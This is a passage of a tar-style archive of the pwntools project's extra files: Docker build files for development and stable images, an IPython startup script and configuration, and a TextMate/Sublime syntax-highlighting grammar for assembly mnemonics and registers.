-m pip install --force-reinstall --upgrade git+https://github.com/Gallopsled/pwntools@dev RUN PWNLIB_NOTERM=1 pwn update USER pwntools Gallopsled-pwntools-3ad86ec/extra/docker/develop/000077500000000000000000000000001507273764500222325ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/extra/docker/develop/10-import.py000066400000000000000000000002571507273764500243400ustar00rootroot00000000000000try: from pwn import * except Exception: print("Could not import pwntools") import os, re, sys, time, random, urllib, datetime, itertools, subprocess, multiprocessing Gallopsled-pwntools-3ad86ec/extra/docker/develop/Dockerfile000066400000000000000000000047211507273764500242300ustar00rootroot00000000000000FROM pwntools/pwntools:base # Support sharing history with the develop Dockerfile ENV HISTFILE=/home/pwntools/.history # Uninstall existing versions of pwntools USER root RUN python2.7 -m pip uninstall -q -y pwntools \ && python3 -m pip uninstall -q -y pwntools # Switch back to the pwntools user from here forward USER pwntools WORKDIR /home/pwntools # Since we are not installing Pwntools systemwide, the "pwn" binaries # etc will all end up in this path. ENV PATH="/home/pwntools/.local/bin:${PATH}" # Install Pwntools to the home directory, make it an editable install RUN git clone https://github.com/Gallopsled/pwntools \ && python2.7 -m pip install --upgrade --editable pwntools \ && python3 -m pip install --upgrade --editable pwntools \ && PWNLIB_NOTERM=1 pwn version # Requirements for running the tests RUN python2.7 -m pip install --upgrade --requirement pwntools/docs/requirements.txt \ && python3 -m pip install --upgrade --requirement pwntools/docs/requirements.txt # Python niceties for debugging RUN python2.7 -m pip install -U ipython ipdb \ && python3 -m pip install -U ipython ipdb # Dependencies from .travis.yml addons -> apt -> packages ARG DEBIAN_FRONTEND=noninteractive ENV TZ="UTC" RUN sudo apt-get update && sudo -E apt-get install -y \ tzdata \ ash \ bash \ bash-static \ binutils-msp430 \ binutils-multiarch \ binutils-s390x-linux-gnu \ dash \ gcc \ gcc-multilib \ gdb \ ksh \ lib32stdc++6 \ libc6-dev-i386 \ mksh \ pandoc \ qemu-user-static \ socat \ sshpass \ vim \ zsh \ # Misc useful things when developing curl \ ipython3 \ lsb-release \ ssh \ unzip \ wget # Use zsh by default RUN sudo -E chsh -s /bin/zsh pwntools # Get and install prezto RUN git clone --recursive https://github.com/sorin-ionescu/prezto.git .zprezto RUN bash -c 'for file in .zprezto/runcoms/z*; do ln -s $file .$(basename $file); done' # Get and install pwndbg RUN git clone --recursive https://github.com/pwndbg/pwndbg RUN cd pwndbg && ./setup.sh # Install autocompletion RUN ln -s /home/pwntools/pwntools/extra/zsh_completion/_pwn /home/pwntools/.zprezto/modules/completion/external/src # Install ipython profile and auto-import RUN mkdir -p /home/pwntools/.ipython/profile_default/startup ADD 10-import.py /home/pwntools/.ipython/profile_default/startup ADD ipython_config.py /home/pwntools/.ipython/profile_default # Do not require password for sudo RUN echo "pwntools ALL=(ALL:ALL) NOPASSWD: ALL" | sudo tee /etc/sudoers.d/travis Gallopsled-pwntools-3ad86ec/extra/docker/develop/ipython_config.py000066400000000000000000000500361507273764500256270ustar00rootroot00000000000000# Configuration file for ipython. c = get_config() #------------------------------------------------------------------------------ # InteractiveShellApp configuration #------------------------------------------------------------------------------ # A Mixin for applications that start InteractiveShell instances. # # Provides configurables for loading extensions and executing files as part of # configuring a Shell environment. # # The following methods should be called by the :meth:`initialize` method of the # subclass: # # - :meth:`init_path` # - :meth:`init_shell` (to be implemented by the subclass) # - :meth:`init_gui_pylab` # - :meth:`init_extensions` # - :meth:`init_code` # Execute the given command string. # c.InteractiveShellApp.code_to_run = '' # Run the file referenced by the PYTHONSTARTUP environment variable at IPython # startup. # c.InteractiveShellApp.exec_PYTHONSTARTUP = True # lines of code to run at IPython startup. c.InteractiveShell.confirm_exit = False c.InteractiveShell.separate_in = '' c.InteractiveShell.separate_out = '' c.InteractiveShell.separate_out2 = '' # c.PromptManager.in_template = '>>> ' # c.PromptManager.in2_template = '..: ' # c.PromptManager.out_template = '' # c.PromptManager.justify = False c.TerminalIPythonApp.display_banner = False from IPython.terminal.prompts import Prompts, Token class ClassicPrompts(Prompts): def in_prompt_tokens(self, cli=None): return [ (Token.Prompt, '>>> '), ] def continuation_prompt_tokens(self, cli=None, width=None): return [ (Token.Prompt, '... ') ] def rewrite_prompt_tokens(self): return [] def out_prompt_tokens(self): return [] c.TerminalInteractiveShell.prompts_class = ClassicPrompts # Enable GUI event loop integration with any of ('glut', 'gtk', 'gtk3', 'none', # 'osx', 'pyglet', 'qt', 'qt4', 'tk', 'wx'). # c.InteractiveShellApp.gui = None # Pre-load matplotlib and numpy for interactive use, selecting a particular # matplotlib backend and loop integration. # c.InteractiveShellApp.pylab = None # Configure matplotlib for interactive use with the default matplotlib backend. # c.InteractiveShellApp.matplotlib = None # If true, IPython will populate the user namespace with numpy, pylab, etc. and # an ``import *`` is done from numpy and pylab, when using pylab mode. # # When False, pylab mode should not import any names into the user namespace. # c.InteractiveShellApp.pylab_import_all = True # A list of dotted module names of IPython extensions to load. # c.InteractiveShellApp.extensions = [] # Run the module as a script. # c.InteractiveShellApp.module_to_run = '' # Should variables loaded at startup (by startup files, exec_lines, etc.) be # hidden from tools like %who? # c.InteractiveShellApp.hide_initial_ns = True # dotted module name of an IPython extension to load. # c.InteractiveShellApp.extra_extension = '' # List of files to run at IPython startup. # c.InteractiveShellApp.exec_files = [] # A file to be run # c.InteractiveShellApp.file_to_run = '' #------------------------------------------------------------------------------ # TerminalIPythonApp configuration #------------------------------------------------------------------------------ # TerminalIPythonApp will inherit config from: BaseIPythonApplication, # Application, InteractiveShellApp # Run the file referenced by the PYTHONSTARTUP environment variable at IPython # startup. # c.TerminalIPythonApp.exec_PYTHONSTARTUP = True # Pre-load matplotlib and numpy for interactive use, selecting a particular # matplotlib backend and loop integration. # c.TerminalIPythonApp.pylab = None # Create a massive crash report when IPython encounters what may be an internal # error. The default is to append a short message to the usual traceback # c.TerminalIPythonApp.verbose_crash = False # Run the module as a script. # c.TerminalIPythonApp.module_to_run = '' # The date format used by logging formatters for %(asctime)s # c.TerminalIPythonApp.log_datefmt = '%Y-%m-%d %H:%M:%S' # Whether to overwrite existing config files when copying # c.TerminalIPythonApp.overwrite = False # Execute the given command string. # c.TerminalIPythonApp.code_to_run = '' # Set the log level by value or name. # c.TerminalIPythonApp.log_level = 30 # lines of code to run at IPython startup. # c.TerminalIPythonApp.exec_lines = [] # Suppress warning messages about legacy config files # c.TerminalIPythonApp.ignore_old_config = False # Path to an extra config file to load. # # If specified, load this config file in addition to any other IPython config. # c.TerminalIPythonApp.extra_config_file = u'' # Should variables loaded at startup (by startup files, exec_lines, etc.) be # hidden from tools like %who? # c.TerminalIPythonApp.hide_initial_ns = True # dotted module name of an IPython extension to load. # c.TerminalIPythonApp.extra_extension = '' # A file to be run # c.TerminalIPythonApp.file_to_run = '' # The IPython profile to use. # c.TerminalIPythonApp.profile = u'default' # Configure matplotlib for interactive use with the default matplotlib backend. # c.TerminalIPythonApp.matplotlib = None # If a command or file is given via the command-line, e.g. 'ipython foo.py', # start an interactive shell after executing the file or command. # c.TerminalIPythonApp.force_interact = False # If true, IPython will populate the user namespace with numpy, pylab, etc. and # an ``import *`` is done from numpy and pylab, when using pylab mode. # # When False, pylab mode should not import any names into the user namespace. # c.TerminalIPythonApp.pylab_import_all = True # The name of the IPython directory. This directory is used for logging # configuration (through profiles), history storage, etc. The default is usually # $HOME/.ipython. This options can also be specified through the environment # variable IPYTHONDIR. # c.TerminalIPythonApp.ipython_dir = u'' # Whether to display a banner upon starting IPython. # c.TerminalIPythonApp.display_banner = True # Whether to install the default config files into the profile dir. If a new # profile is being created, and IPython contains config files for that profile, # then they will be staged into the new directory. Otherwise, default config # files will be automatically generated. # c.TerminalIPythonApp.copy_config_files = False # List of files to run at IPython startup. # c.TerminalIPythonApp.exec_files = [] # Enable GUI event loop integration with any of ('glut', 'gtk', 'gtk3', 'none', # 'osx', 'pyglet', 'qt', 'qt4', 'tk', 'wx'). # c.TerminalIPythonApp.gui = None # A list of dotted module names of IPython extensions to load. # c.TerminalIPythonApp.extensions = [] # Start IPython quickly by skipping the loading of config files. # c.TerminalIPythonApp.quick = False # The Logging format template # c.TerminalIPythonApp.log_format = '[%(name)s]%(highlevel)s %(message)s' #------------------------------------------------------------------------------ # TerminalInteractiveShell configuration #------------------------------------------------------------------------------ # TerminalInteractiveShell will inherit config from: InteractiveShell # auto editing of files with syntax errors. # c.TerminalInteractiveShell.autoedit_syntax = False # Use colors for displaying information about objects. Because this information # is passed through a pager (like 'less'), and some pagers get confused with # color codes, this capability can be turned off. # c.TerminalInteractiveShell.color_info = True # A list of ast.NodeTransformer subclass instances, which will be applied to # user input before code is run. # c.TerminalInteractiveShell.ast_transformers = [] # # c.TerminalInteractiveShell.history_length = 10000 # Don't call post-execute functions that have failed in the past. # c.TerminalInteractiveShell.disable_failing_post_execute = False # Show rewritten input, e.g. for autocall. # c.TerminalInteractiveShell.show_rewritten_input = True # Set the color scheme (NoColor, Linux, or LightBG). # c.TerminalInteractiveShell.colors = 'Linux' # Autoindent IPython code entered interactively. # c.TerminalInteractiveShell.autoindent = True # # c.TerminalInteractiveShell.separate_in = '\n' # Deprecated, use PromptManager.in2_template # c.TerminalInteractiveShell.prompt_in2 = ' .\\D.: ' # # c.TerminalInteractiveShell.separate_out = '' # Deprecated, use PromptManager.in_template # c.TerminalInteractiveShell.prompt_in1 = 'In [\\#]: ' # Make IPython automatically call any callable object even if you didn't type # explicit parentheses. For example, 'str 43' becomes 'str(43)' automatically. # The value can be '0' to disable the feature, '1' for 'smart' autocall, where # it is not applied if there are no more arguments on the line, and '2' for # 'full' autocall, where all callable objects are automatically called (even if # no arguments are present). # c.TerminalInteractiveShell.autocall = 0 # Number of lines of your screen, used to control printing of very long strings. # Strings longer than this number of lines will be sent through a pager instead # of directly printed. The default value for this is 0, which means IPython # will auto-detect your screen size every time it needs to print certain # potentially long strings (this doesn't change the behavior of the 'print' # keyword, it's only triggered internally). If for some reason this isn't # working well (it needs curses support), specify it yourself. Otherwise don't # change the default. # c.TerminalInteractiveShell.screen_length = 0 # Set the editor used by IPython (default to $EDITOR/vi/notepad). # c.TerminalInteractiveShell.editor = u'nano' # Deprecated, use PromptManager.justify # c.TerminalInteractiveShell.prompts_pad_left = True # The part of the banner to be printed before the profile # c.TerminalInteractiveShell.banner1 = 'Python 2.7.6 (default, Apr 23 2014, 12:04:55) \nType "copyright", "credits" or "license" for more information.\n\nIPython 2.0.0 -- An enhanced Interactive Python.\n? -> Introduction and overview of IPython\'s features.\n%quickref -> Quick reference.\nhelp -> Python\'s own help system.\nobject? -> Details about \'object\', use \'object??\' for extra details.\n' # # c.TerminalInteractiveShell.readline_parse_and_bind = ['tab: complete', '"\\C-l": clear-screen', 'set show-all-if-ambiguous on', '"\\C-o": tab-insert', '"\\C-r": reverse-search-history', '"\\C-s": forward-search-history', '"\\C-p": history-search-backward', '"\\C-n": history-search-forward', '"\\e[A": history-search-backward', '"\\e[B": history-search-forward', '"\\C-k": kill-line', '"\\C-u": unix-line-discard'] # The part of the banner to be printed after the profile # c.TerminalInteractiveShell.banner2 = '' # # c.TerminalInteractiveShell.separate_out2 = '' # # c.TerminalInteractiveShell.wildcards_case_sensitive = True # # c.TerminalInteractiveShell.debug = False # Set to confirm when you try to exit IPython with an EOF (Control-D in Unix, # Control-Z/Enter in Windows). By typing 'exit' or 'quit', you can force a # direct exit without any confirmation. # c.TerminalInteractiveShell.confirm_exit = True # # c.TerminalInteractiveShell.ipython_dir = '' # # c.TerminalInteractiveShell.readline_remove_delims = '-/~' # Start logging to the default log file. # c.TerminalInteractiveShell.logstart = False # The name of the logfile to use. # c.TerminalInteractiveShell.logfile = '' # The shell program to be used for paging. # c.TerminalInteractiveShell.pager = 'less' # Enable magic commands to be called without the leading %. # c.TerminalInteractiveShell.automagic = True # Save multi-line entries as one entry in readline history # c.TerminalInteractiveShell.multiline_history = True # # c.TerminalInteractiveShell.readline_use = True # Enable deep (recursive) reloading by default. IPython can use the deep_reload # module which reloads changes in modules recursively (it replaces the reload() # function, so you don't need to change anything to use it). deep_reload() # forces a full reload of modules whose code may have changed, which the default # reload() function does not. When deep_reload is off, IPython will use the # normal reload(), but deep_reload will still be available as dreload(). # c.TerminalInteractiveShell.deep_reload = False # Start logging to the given file in append mode. # c.TerminalInteractiveShell.logappend = '' # # c.TerminalInteractiveShell.xmode = 'Context' # # c.TerminalInteractiveShell.quiet = False # Enable auto setting the terminal title. # c.TerminalInteractiveShell.term_title = False # # c.TerminalInteractiveShell.object_info_string_level = 0 # Deprecated, use PromptManager.out_template # c.TerminalInteractiveShell.prompt_out = 'Out[\\#]: ' # Set the size of the output cache. The default is 1000, you can change it # permanently in your config file. Setting it to 0 completely disables the # caching system, and the minimum value accepted is 20 (if you provide a value # less than 20, it is reset to 0 and a warning is issued). This limit is # defined because otherwise you'll spend more time re-flushing a too small cache # than working # c.TerminalInteractiveShell.cache_size = 1000 # 'all', 'last', 'last_expr' or 'none', specifying which nodes should be run # interactively (displaying output from expressions). # c.TerminalInteractiveShell.ast_node_interactivity = 'last_expr' # Automatically call the pdb debugger after every exception. # c.TerminalInteractiveShell.pdb = False #------------------------------------------------------------------------------ # PromptManager configuration #------------------------------------------------------------------------------ # This is the primary interface for producing IPython's prompts. # Output prompt. '\#' will be transformed to the prompt number # c.PromptManager.out_template = 'Out[\\#]: ' # Continuation prompt. # c.PromptManager.in2_template = ' .\\D.: ' # If True (default), each prompt will be right-aligned with the preceding one. # c.PromptManager.justify = True # Input prompt. '\#' will be transformed to the prompt number # c.PromptManager.in_template = 'In [\\#]: ' # # c.PromptManager.color_scheme = 'Linux' #------------------------------------------------------------------------------ # HistoryManager configuration #------------------------------------------------------------------------------ # A class to organize all history-related functionality in one place. # HistoryManager will inherit config from: HistoryAccessor # Should the history database include output? (default: no) # c.HistoryManager.db_log_output = False # Write to database every x commands (higher values save disk access & power). # Values of 1 or less effectively disable caching. # c.HistoryManager.db_cache_size = 0 # Path to file to use for SQLite history database. # # By default, IPython will put the history database in the IPython profile # directory. If you would rather share one history among profiles, you can set # this value in each, so that they are consistent. # # Due to an issue with fcntl, SQLite is known to misbehave on some NFS mounts. # If you see IPython hanging, try setting this to something on a local disk, # e.g:: # # ipython --HistoryManager.hist_file=/tmp/ipython_hist.sqlite # c.HistoryManager.hist_file = u'' # Options for configuring the SQLite connection # # These options are passed as keyword args to sqlite3.connect when establishing # database conenctions. # c.HistoryManager.connection_options = {} # enable the SQLite history # # set enabled=False to disable the SQLite history, in which case there will be # no stored history, no SQLite connection, and no background saving thread. # This may be necessary in some threaded environments where IPython is embedded. # c.HistoryManager.enabled = True #------------------------------------------------------------------------------ # ProfileDir configuration #------------------------------------------------------------------------------ # An object to manage the profile directory and its resources. # # The profile directory is used by all IPython applications, to manage # configuration, logging and security. # # This object knows how to find, create and manage these directories. This # should be used by any code that wants to handle profiles. # Set the profile location directly. This overrides the logic used by the # `profile` option. # c.ProfileDir.location = u'' #------------------------------------------------------------------------------ # PlainTextFormatter configuration #------------------------------------------------------------------------------ # The default pretty-printer. # # This uses :mod:`IPython.lib.pretty` to compute the format data of the object. # If the object cannot be pretty printed, :func:`repr` is used. See the # documentation of :mod:`IPython.lib.pretty` for details on how to write pretty # printers. Here is a simple example:: # # def dtype_pprinter(obj, p, cycle): # if cycle: # return p.text('dtype(...)') # if hasattr(obj, 'fields'): # if obj.fields is None: # p.text(repr(obj)) # else: # p.begin_group(7, 'dtype([') # for i, field in enumerate(obj.descr): # if i > 0: # p.text(',') # p.breakable() # p.pretty(field) # p.end_group(7, '])') # PlainTextFormatter will inherit config from: BaseFormatter # # c.PlainTextFormatter.type_printers = {} # # c.PlainTextFormatter.newline = '\n' # # c.PlainTextFormatter.float_precision = '' # # c.PlainTextFormatter.verbose = False # # c.PlainTextFormatter.deferred_printers = {} # # c.PlainTextFormatter.pprint = True # # c.PlainTextFormatter.max_width = 79 # # c.PlainTextFormatter.singleton_printers = {} #------------------------------------------------------------------------------ # IPCompleter configuration #------------------------------------------------------------------------------ # Extension of the completer class with IPython-specific features # IPCompleter will inherit config from: Completer # Instruct the completer to omit private method names # # Specifically, when completing on ``object.``. # # When 2 [default]: all names that start with '_' will be excluded. # # When 1: all 'magic' names (``__foo__``) will be excluded. # # When 0: nothing will be excluded. # c.IPCompleter.omit__names = 2 # Whether to merge completion results into a single list # # If False, only the completion results from the first non-empty completer will # be returned. # c.IPCompleter.merge_completions = True # Instruct the completer to use __all__ for the completion # # Specifically, when completing on ``object.``. # # When True: only those names in obj.__all__ will be included. # # When False [default]: the __all__ attribute is ignored # c.IPCompleter.limit_to__all__ = False # Activate greedy completion # # This will enable completion on elements of lists, results of function calls, # etc., but can be unsafe because the code is actually evaluated on TAB. # c.IPCompleter.greedy = False #------------------------------------------------------------------------------ # ScriptMagics configuration #------------------------------------------------------------------------------ # Magics for talking to scripts # # This defines a base `%%script` cell magic for running a cell with a program in # a subprocess, and registers a few top-level magics that call %%script with # common interpreters. # Extra script cell magics to define # # This generates simple wrappers of `%%script foo` as `%%foo`. # # If you want to add script magics that aren't on your path, specify them in # script_paths # c.ScriptMagics.script_magics = [] # Dict mapping short 'ruby' names to full paths, such as '/opt/secret/bin/ruby' # # Only necessary for items in script_magics where the default path will not find # the right interpreter. # c.ScriptMagics.script_paths = {} #------------------------------------------------------------------------------ # StoreMagics configuration #------------------------------------------------------------------------------ # Lightweight persistence for python variables. # # Provides the %store magic. # If True, any %store-d variables will be automatically restored when IPython # starts. # c.StoreMagics.autorestore = False Gallopsled-pwntools-3ad86ec/extra/docker/stable/000077500000000000000000000000001507273764500220465ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/extra/docker/stable/Dockerfile000066400000000000000000000004711507273764500240420ustar00rootroot00000000000000FROM pwntools/pwntools:base USER root RUN python2.7 -m pip install --no-cache-dir --upgrade git+https://github.com/Gallopsled/pwntools@stable \ && python3 -m pip install --no-cache-dir --force-reinstall --upgrade git+https://github.com/Gallopsled/pwntools@stable RUN PWNLIB_NOTERM=1 pwn update USER pwntools Gallopsled-pwntools-3ad86ec/extra/textmate/000077500000000000000000000000001507273764500211605ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/extra/textmate/README.md000066400000000000000000000011361507273764500224400ustar00rootroot00000000000000# Pwntools Mako Assembly Syntax Highlighting This should work for TextMate and anything that's compatible (e.g. Sublime Text). ![screenshot](screenshot.png) ## Installation ### Sublime Text Copy the `tmLanguage` files into the `Packages/User` folder in your Sublime Text configuration folder. These folders are located at the paths shown below. Replace `2` with `3` if you're a ST3 user. - OS X: `~/Library/Application Support/Sublime Text 2` - Windows: `%APPDATA%\Sublime Text 2` - Linux: `~/.config/sublime-text-2` Open a `.asm` file, and choose `View > Syntax > Open All ... > Pwntools ...`. Gallopsled-pwntools-3ad86ec/extra/textmate/pwntools.YAML-tmLanguage000066400000000000000000000262501507273764500256200ustar00rootroot00000000000000# [PackageDev] target_format: plist, ext: tmLanguage --- name: Pwntools Mako ASM scopeName: source.pwntools fileTypes: ['.asm'] uuid: 19bbf78d-4ad8-4385-bb20-5bde8df453bf patterns: - comment: x86 instruction name: support.function.mnemonic.x86.all match: \b(?i)(v)?(aaa|aad|aam|aas|adc|add|addpd|addps|addsd|addss|addsubpd|addsubps|aesdec|aesdeclast|aesenc|aesenclast|aesimc|aeskeygenassist|and|andpd|andps|andnpd|andnps|arpl|blendpd|bmi|blendps|blendvpd|blendvps|bound|bsf|bsr|bswap|bt|btc|btr|bts|cbw|cwde|cdqe|clc|cld|cflush|clts|cmc|cmov(n?e|ge?|ae?|le?|be?|n?o|n?z)|cmp|cmppd|cmpps|cmps|cnpsb|cmpsw|cmpsd|cmpsq|cmpss|cmpxchg|cmpxchg8b|cmpxchg16b|comisd|comiss|cpuid|crc32|cvtdq2pd|cvtdq2ps|cvtpd2dq|cvtpd2pi|cvtpd2ps|cvtpi2pd|cvtpi2ps|cvtps2dq|cvtps2pd|cvtps2pi|cvtsd2si|cvtsd2ss|cvts2sd|cvtsi2ss|cvtss2sd|cvtss2si|cvttpd2dq|cvtpd2pi|cvttps2dq|cvttps2pi|cvttps2dq|cvttps2pi|cvttsd2si|cvttss2si|cwd|cdq|cqo|daa|das|dec|div|divpd|divps|divsd|divss|dppd|dpps|emms|enter|extractps|f2xm1|fabs|fadd|faddp|fiadd|fbld|fbstp|fchs|fclex|fnclex|fcmov(n?e|ge?|ae?|le?|be?|n?o|n?z)|fcom|fcmop|fcompp|fcomi|fcomip|fucomi|fucomip|fcos|fdecstp|fdiv|fdivp|fidiv|fdivr|fdivrp|fidivr|ffree|ficom|ficomp|fild|fincstp|finit|fnint|fist|fistp|fisttp|fld|fld1|fldl2t|fldl2e|fldpi|fldlg2|fldln2|fldz|fldcw|fldenv|fmul|fmulp|fimul|fnop|fpatan|fprem|fprem1|fptan|frndint|frstor|fsave|fnsave|fscale|fsin|fsincos|fsqrt|fst|fstp|fstcw|fnstcw|fstenv|fnstenv|fsts(w?)|fnstsw|fsub|fsubp|fisub|fsubr|fsubrp|fisubr|ftst|fucom|fucomp|fucompp|fxam|fxch|fxrstor|fxsave|fxtract|fyl2x|fyl2xp1|haddpd|haddps|husbpd|hsubps|idiv|imul|in|inc|ins|insb|insw|insd|insertps|int|into|invd|invplg|invpcid|iret|iretd|iretq|lahf|lar|lddqu|ldmxcsr|lds|les|lfs|lgs|lss|lea|leave|lfence|lgdt|lidt|llgdt|lmsw|lock|lods|lodsb|lodsw|lodsd|lodsq|lsl|ltr|maskmovdqu|maskmovq|maxpd|maxps|maxsd|maxss|mfence|minpd|minps|minsd|minss|monitor|mov|movapd|movaps|movbe|movd|movq|movddup|movdqa|movdqu|movq2q|movhlps|movhpd|movhps|movlhps|movlpd|movlps|movmskpd|movmskps|movntdqa|movntdq|movnti|movntpd|movntps|movntq|movq|movq2dq|movs|movsb|movsw|movsd|movsq|movsd|movshdup|movsldup|movss|movsx|movsxd|movupd|movups|movzx|mpsadbw|mul|mulpd|mulps|mulsd|mulss|mwait|neg|not|or|orpd|orps|out|outs|outsb|outsw|outsd|pabsb|pabsw|pabsd|packsswb|packssdw|packusdw|packuswbpaddb|paddw|paddd|paddq|paddsb|paddsw|paddusb|paddusw|palignr|pand|pandn|pause|pavgb|pavgw|pblendvb|pblendw|pclmulqdq|pcmpeqb|pcmpeqw|pcmpeqd|pcmpeqq|pcmpestri|pcmpestrm|pcmptb|pcmptgw|pcmpgtd|pcmpgtq|pcmpistri|pcmpisrm|pdep|pext|pextrb|pextrd|pextrq|pextrw|phaddw|phaddd|phaddsw|phinposuw|phsubw|phsubd|phsubsw|pinsrb|pinsrd|pinsrq|pinsrw|pmaddubsw|pmadddwd|pmaxsb|pmaxsd|pmaxsw|pmaxsw|pmaxub|pmaxud|pmaxuw|pminsb|pminsd|pminsw|pminub|pminud|pminuw|pmovmskb|pmovsx|pmovzx|pmuldq|pmulhrsw|pmulhuw|pmulhw|pmulld|pmullw|pmuludw|pop|popa|popad|popcnt|popf|popfd|popfq|por|prefetch|psadbw|pshufb|pshufd|pshufhw|pshuflw|pshufw|psignb|psignw|psignd|pslldq|psllw|pslld|psllq|psraw|psrad|psrldq|psrlw|psrld|psrlq|psubb|psubw|psubd|psubq|psubsb|psubsw|psubusb|psubusw|test|ptest|punpckhbw|punpckhwd|punpckhdq|punpckhddq|punpcklbw|punpcklwd|punpckldq|punpckldqd|push|pusha|pushad|pushf|pushfd|pxor|prcl|rcr|rol|ror|rcpps|rcpss|rdfsbase|rdgsbase|rdmsr|rdpmc|rdrand|rdtsc|rdtscp|rep|repe|repz|repne|repnz|roundpd|roundps|roundsd|roundss|rsm|rsqrps|rsqrtss|sahf|sal|sar|shl|shr|sbb|scas|scasb|scasw|scasd|set(n?e|ge?|ae?|le?|be?|n?o|n?z)|sfence|sgdt|shld|shrd|shufpd|shufps|sidt|sldt|smsw|sqrtpd|sqrtps|sqrtsd|sqrtss|stc|std|stmxcsr|stos|stosb|stosw|stosd|stosq|str|sub|subpd|subps|subsd|subss|swapgs|syscall|sysenter|sysexit|sysret|teset|ucomisd|ucomiss|ud2|unpckhpd|unpckhps|unpcklpd|unpcklps|vbroadcast|vcvtph2ps|vcvtp2sph|verr|verw|vextractf128|vinsertf128|vmaskmov|vpermilpd|vpermilps|vperm2f128|vtestpd|vzeroall|vzeroupper|wait|fwait|wbinvd|wrfsbase|wrgsbase|wrmsr|xadd|xchg|xgetbv|xlat|xlatb|xor|xorpd|xorps|xrstor|xsave|xsaveopt|xsetbv|lzcnt|extrq|insertq|movntsd|movntss|vfmaddpd|vfmaddps|vfmaddsd|vfmaddss|vfmaddsubbpd|vfmaddsubps|vfmsubaddpd|vfmsubaddps|vfmsubpd|vfmsubps|vfmsubsd|vfnmaddpd|vfnmaddps|vfnmaddsd|vfnmaddss|vfnmsubpd|vfnmusbps|vfnmusbsd|vfnmusbss|vbroadcastss|vbroadcastsd|vbroadcastf128|vmaskmovps|vmaskmovpd|cvt|xor|cli|sti|hlt|nop|lock|wait|enter|leave|ret|loop(n?e|n?z)?|call|j(mp|n?e|n?ge?|n?ae?|le?|be?|n?o|n?z|n?c|n?p|n?b))\b - comment: ARM instruction name: support.function.mnemonic.arm.arithmetic match: > (?x)\b((?i) ( (bf(c|i)|(u|s)bfx|(u|s)xta?(h|b)?) | (v(add|cvt|sub|mov|trn|cmp|div|qdmulh|mrs|mul|ld1|qadd|qshrun|st[1234]|addw|mull|mlal|rshrn|swp|qmovun)|qmovun)(\.([isup]?8|[isupf]?16|[isuf]?32|[isu]?64))* | (mul|mla|mull|smlabb) | (mov(w|t)) | rev(8|16)? | (pld|adr|adrl|vswp) | bkpt )?(?-i))?\b - comment: ARM instruction name: support.function.mnemonic.arm.memory match: > (?x)\b((?i)( swi|svc|wfi| dmb | clrex | dsb | isb | v(ldr|str|push|pop) | (push|pop) | (st|ld)( p | r(ex|s?(h|b)|d)? | m( (f|e)(d|a) | (d|i)(b|a) )? ) | b(l|x|lx|lr|r)? | (i|e)?ret| b\.(eq|ne|hs|cs|lo|cc|mi|pl|vs|vc|hi|ls|ge|lt|gt|le|al|nv)+ | (c|t)?bn?z| )+(ne|eq|cs|hs|cc|lo|mi|pl|vs|vc|hi|ls|lt|le|gt|ge|al)?(?-i))\b - comment: ARM instruction name: meta.preprocessor.c.include match: > \b((?i)(def(b|w|s)|equ|(include|get)(\s+([a-zA-Z_]+[0-9a-zA-Z_]*|[0-9]+[a-zA-Z_]+[0-9a-zA-Z_]*?)\.s)?)?(?-i))\b - comment: ARM instruction name: comment.nop match: > \b((?i)nop(ne|eq|cs|hs|cc|lo|mi|pl|vs|vc|hi|ls|lt|le|gt|ge|al)?(?-i))?\b - comment: Comment Block begin: /\* end: \*/ name: comment.block - comment: Directive name: keyword.control.directive match: \.(?i)(globl|global|macro|endm|purgem|if|elseif|else|endif|section|text|arm|align|balign|irp|rept|endr|req|unreq|error|short|func|endfunc|hidden|type|fpu|arch|code|altmacro|object_arch|word|int|string)(?-i)\b - comment: ARM register name: storage.other.register.arm match: \b((?i)\$?([xw][0-9]|[xw]1[0-9]||[xw]2[0-9]|[wx]30|wzr|xzr|wsp|fpsr|fpcr|[rcp]1[0-5]|[rcp][0-9]|a[1-4]|v[1-8]|sl|sb|fp|ip|sp|lr|(c|s)psr(_c)?|pc|[sd]3[0-1]|[sd][12][0-9]|[sd][0-9]|fpsid|fpscr|fpexc|q3[0-1]|q2[0-9]|q1[0-9]|q[0-9]|APSR_nzcv|sy)!?(?-i))?\b - comment: x86 register name: storage.other.register.x86 match: \b((?i)(al|ah|ax|eax|rax|bl|bh|bx|ebx|rbx|cl|ch|cx|ecx|rcx|dl|dh|dx|edx|rdx|sil|si|esi|rsi|di|di|edi|rdi|bpl|bp|ebp|rbp|sp|esp|rsp|cs|ds|ss|es|fs|gs|ip|eip|rip|flags|eflags|rflags|r8|r9|r10|r11|r12|r13|r14|r15|r8d|r9d|r10d|r11d|r12d|r13d|r14d|r15d|r8w|r9w|r10w|r11w|r12w|r13w|r14w|r15w|r8l|r9l|r10l|r11l|r12l|r13l|r14l|r15l|st0|st1|st2|st3|st4|st5|st6|st7|mm0|mm1|mm2|mm3|mm4|mm5|mm6|mm7|xmm0|xmm1|xmm2|xmm3|xmm4|xmm5|xmm6|xmm7|xmm8|xmm9|xmm10|xmm11|xmm12|xmm13|xmm14|xmm15|xmm16|xmm17|xmm18|xmm19|xmm20|xmm21|xmm22|xmm23|xmm24|xmm25|xmm26|xmm27|xmm28|xmm29|xmm30|xmm31|ymm0|ymm1|ymm2|ymm3|ymm4|ymm5|ymm6|ymm7|ymm8|ymm9|ymm10|ymm11|ymm12|ymm13|ymm14|ymm15|ymm16|ymm17|ymm18|ymm19|ymm20|ymm21|ymm22|ymm23|ymm24|ymm25|ymm26|ymm27|ymm28|ymm29|ymm30|ymm31|zmm0|zmm1|zmm2|zmm3|zmm4|zmm5|zmm6|zmm7|zmm8|zmm9|zmm10|zmm11|zmm12|zmm13|zmm14|zmm15|zmm16|zmm17|zmm18|zmm19|zmm20|zmm21|zmm22|zmm23|zmm24|zmm25|zmm26|zmm27|zmm28|zmm29|zmm30|zmm31|cr0|cr2|cr3|cr4|gdtr|ldtr|idtr|dr0|dr1|dr2|dr3|dr4|dr5|dr6|dr7|msr)!?(?-i))?\b - comment: SPARC register name: storage.other.register.sparc match: \b((?i)\$?([gloi][0-9])!?(?-i))?\b - comment: MIPS register name: storage.other.register.mips match: \b((?i)\$?(r[0-3][0-9]|v[0-2]|a[0-4]|t[0-8]|s[0-9]|t([89]|10|k[0-2]))!?(?-i))?\b - comment: Numeric Hex name: constant.numeric.hex match: (\b|\s+)(\#)?-?(0x|&)[0-9a-fA-F_]+\b - comment: Numeric Literal name: 